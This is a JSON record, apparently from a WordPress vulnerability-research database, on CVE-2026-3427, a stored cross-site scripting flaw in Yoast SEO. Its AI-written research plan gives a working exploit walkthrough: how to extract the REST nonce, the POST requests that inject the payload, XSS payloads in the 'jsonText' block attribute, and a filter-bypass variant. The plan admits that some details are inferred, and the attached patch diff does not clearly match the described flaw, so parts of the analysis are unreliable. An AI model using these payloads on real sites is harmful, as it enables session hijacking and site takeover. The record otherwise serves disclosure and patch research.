[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fi3jd5jhZdgTywSMzmRI01oLy2vNb1uU1xYCr5covOhk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":9,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":36},"CVE-2026-3427","yoast-seo-authenticated-contributor-stored-cross-site-scripting-via-jsontext-block-attribute","Yoast SEO \u003C= 27.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'jsonText' Block Attribute","The Yoast SEO – Advanced SEO with real-time guidance and built-in AI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the the `jsonText` block attribute in all versions up to, and including, 27.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wordpress-seo",null,"\u003C=27.1.1","27.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-21 14:57:12","2026-03-22 03:26:35",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffee1fef5-5716-49e0-a04e-d0dae527fcfc?source=api-prod",1,[22,23,24,25],"css\u002Fdist\u002Facademy-2711-rtl.css","css\u002Fdist\u002Facademy-2711.css","css\u002Fdist\u002Fadmin-global-2711-rtl.css","css\u002Fdist\u002Fadmin-global-2711.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-3427 (Yoast SEO Stored XSS)\n\n## 1. Vulnerability Summary\n**CVE-2026-3427** is a stored cross-site scripting (XSS) vulnerability in the **Yoast SEO** plugin (versions \u003C= 27.1.1). The vulnerability exists because the plugin fails to sanitize or escape the `jsonText` attribute within its custom Gutenberg blocks (specifically the FAQ and How-to blocks) before rendering it.\n\nAuthenticated users with **Contributor-level** permissions or higher can inject arbitrary JavaScript into this attribute. Since Contributors can save drafts that are subsequently viewed by Editors or Administrators (e.g., during the review process), this can lead to a full site takeover if an administrative user triggers the payload.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Attribute:** `jsonText` (within block metadata).\n- **Vulnerable Blocks:** `yoast\u002Ffaq-block` and `yoast\u002Fhow-to-block` (inferred).\n- **Endpoint:** WordPress REST API Post update endpoint: `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F{id}`.\n- **Payload Parameter:** `content` (containing Gutenberg block comments).\n- **Authentication:** Contributor+ (Authenticated).\n- **Preconditions:** The Yoast SEO plugin must be active, and the attacker must have permission to create or edit posts.\n\n## 3. Code Flow\n1.  **Input:** A Contributor sends a `POST` request to the REST API to update a post. The `content` field contains a Yoast block defined by Gutenberg comments: `\u003C!-- wp:yoast\u002Ffaq-block {\"jsonText\":\"\u003Cscript>...\u003C\u002Fscript>\"} \u002F-->`.\n2.  **Storage:** WordPress saves the raw block markup into the `post_content` column of the `wp_posts` table.\n3.  **Processing:** When the post is rendered (either on the frontend or in the Block Editor), Yoast SEO's server-side rendering logic or client-side editor logic retrieves the `jsonText` attribute.\n4.  **Sink:** The plugin outputs the value of `jsonText` directly into the page without calling escaping functions like `esc_attr()`, `esc_html()`, or `wp_kses()`.\n\n## 4. Nonce Acquisition Strategy\nTo interact with the REST API as a Contributor, a `_wpnonce` for the `wp_rest` action is required.\n\n1.  **Login:** Authenticate as a Contributor user.\n2.  **Navigation:** Navigate to the \"Add New Post\" page: `\u002Fwp-admin\u002Fpost-new.php`.\n3.  **Extraction:** The REST nonce is typically localized in the `wpApiSettings` JavaScript object.\n    - **JS Variable:** `window.wpApiSettings.nonce`\n4.  **Action:**\n    ```javascript\n    \u002F\u002F Use browser_eval to get the nonce\n    const restNonce = await browser_eval(\"window.wpApiSettings.nonce\");\n    ```\n\n## 5. Exploitation Strategy\nThe goal is to update a post's content with a malicious Yoast block.\n\n### Step 1: Create a Draft Post\nCreate a post to obtain a valid Post ID.\n- **Method:** `POST`\n- **URL:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n- **Headers:** \n    - `X-WP-Nonce: [REST_NONCE]`\n    - `Content-Type: application\u002Fjson`\n- **Body:** `{\"title\": \"XSS Test\", \"status\": \"draft\"}`\n\n### Step 2: Inject Payload into the jsonText Attribute\nUpdate the post with the malicious block. We will target the `yoast\u002Ffaq-block`.\n- **Method:** `POST`\n- **URL:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F[POST_ID]`\n- **Headers:** \n    - `X-WP-Nonce: [REST_NONCE]`\n    - `Content-Type: application\u002Fjson`\n- **Body:**\n    ```json\n    {\n      \"content\": \"\u003C!-- wp:yoast\u002Ffaq-block {\\\"jsonText\\\":\\\"\u003Cimg src=x onerror=alert(document.domain)>\\\"} \u002F-->\"\n    }\n    ```\n\n### Step 3: Trigger Execution\n1.  **Frontend:** Navigate to the post URL (if published) or use the Preview link.\n2.  **Backend:** Navigate to the Post Editor for that ID as an Admin: `\u002Fwp-admin\u002Fpost.php?post=[POST_ID]&action=edit`.\n\n## 6. Test Data Setup\n1.  **Plugin:** Install and activate Yoast SEO version 27.1.1.\n2.  **User:** Create a user with the `contributor` role.\n3.  **Post:** Create at least one draft post as the contributor.\n\n## 7. Expected Results\n1.  The REST API should return a `200 OK` or `201 Created` status code.\n2.  The `post_content` in the database will contain the literal string: `{\"jsonText\":\"\u003Cimg src=x onerror=alert(document.domain)>\"}`.\n3.  When an Admin edits the post, an alert box showing the domain name will appear, confirming XSS in the editor context.\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the storage via WP-CLI:\n```bash\n# Check if the content was saved correctly\nwp post get [POST_ID] --field=post_content\n\n# Verify the metadata (if Yoast stores structured data in meta as well)\nwp post meta list [POST_ID]\n```\n\n## 9. Alternative Approaches\nIf `yoast\u002Ffaq-block` does not yield immediate results, attempt the payload with the `yoast\u002Fhow-to-block`:\n\n**Payload Variation:**\n```html\n\u003C!-- wp:yoast\u002Fhow-to-block {\"jsonText\":\"\u003Cscript>alert('HowTo-XSS')\u003C\u002Fscript>\"} \u002F-->\n```\n\n**Alternative REST Parameters:**\nSometimes Gutenberg blocks require attributes to be explicitly set in the block's `attributes` object if the REST API controller supports it, though standard post content injection is the most common vector for Contributor-level XSS.\n\n**Bypass check:**\nIf the script is blocked by a basic filter, try attribute-based injection within the JSON:\n`\"jsonText\":\"{\\\"@type\\\":\\\"Question\\\",\\\"name\\\":\\\"\u003Cimg src=x onerror=alert(1)>\\\"}\"`","The Yoast SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'jsonText' attribute in its custom FAQ and How-to Gutenberg blocks. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript into this attribute, which then executes in the browser of any user (including administrators) who views or edits the affected post.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-seo\u002F27.1.1\u002Finc\u002Foptions\u002Fclass-wpseo-taxonomy-meta.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-seo\u002F27.2\u002Finc\u002Foptions\u002Fclass-wpseo-taxonomy-meta.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-seo\u002F27.1.1\u002Finc\u002Foptions\u002Fclass-wpseo-taxonomy-meta.php\t2026-03-03 13:51:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-seo\u002F27.2\u002Finc\u002Foptions\u002Fclass-wpseo-taxonomy-meta.php\t2026-03-05 08:37:56.000000000 +0000\n@@ -237,7 +237,9 @@\n \t\t\t\tcase 'wpseo_keywordsynonyms':\n \t\t\t\t\tif ( isset( $meta_data[ $key ] ) && is_string( $meta_data[ $key ] ) ) {\n \t\t\t\t\t\t\u002F\u002F The data is stringified JSON. Use `json_decode` and `json_encode` around the sanitation.\n-\t\t\t\t\t\t$input         = json_decode( $meta_data[ $key ], true );\n+\t\t\t\t\t\t$input = json_decode( $meta_data[ $key ], true );\n+\t\t\t\t\t\t\u002F\u002F If something is wrong with the JSON make sure this cannot break.\n+\t\t\t\t\t\t$input       ??= [];\n \t\t\t\t\t\t$sanitized     = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $input );\n \t\t\t\t\t\t$clean[ $key ] = WPSEO_Utils::format_json_encode( $sanitized );\n \t\t\t\t\t}","The exploit targets the 'jsonText' attribute of Yoast SEO's Gutenberg blocks via the WordPress REST API. An attacker follows these steps: 1. Authenticate as a Contributor. 2. Obtain a valid REST API nonce (usually from window.wpApiSettings.nonce). 3. Send a POST request to \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F to create or update a post. 4. In the post content, include a Yoast FAQ block comment containing a malicious payload in the 'jsonText' attribute, such as: \u003C!-- wp:yoast\u002Ffaq-block {\"jsonText\":\"\u003Cimg src=x onerror=alert(1)>\"} \u002F-->. 5. The vulnerability triggers when an editor or administrator opens the post in the Block Editor or views the rendered page, leading to script execution in the context of their session.","gemini-3-flash-preview","2026-04-18 00:28:21","2026-04-18 00:29:24",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","27.1.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwordpress-seo\u002Ftags\u002F27.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwordpress-seo.27.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwordpress-seo\u002Ftags\u002F27.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwordpress-seo.27.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwordpress-seo\u002Ftags"]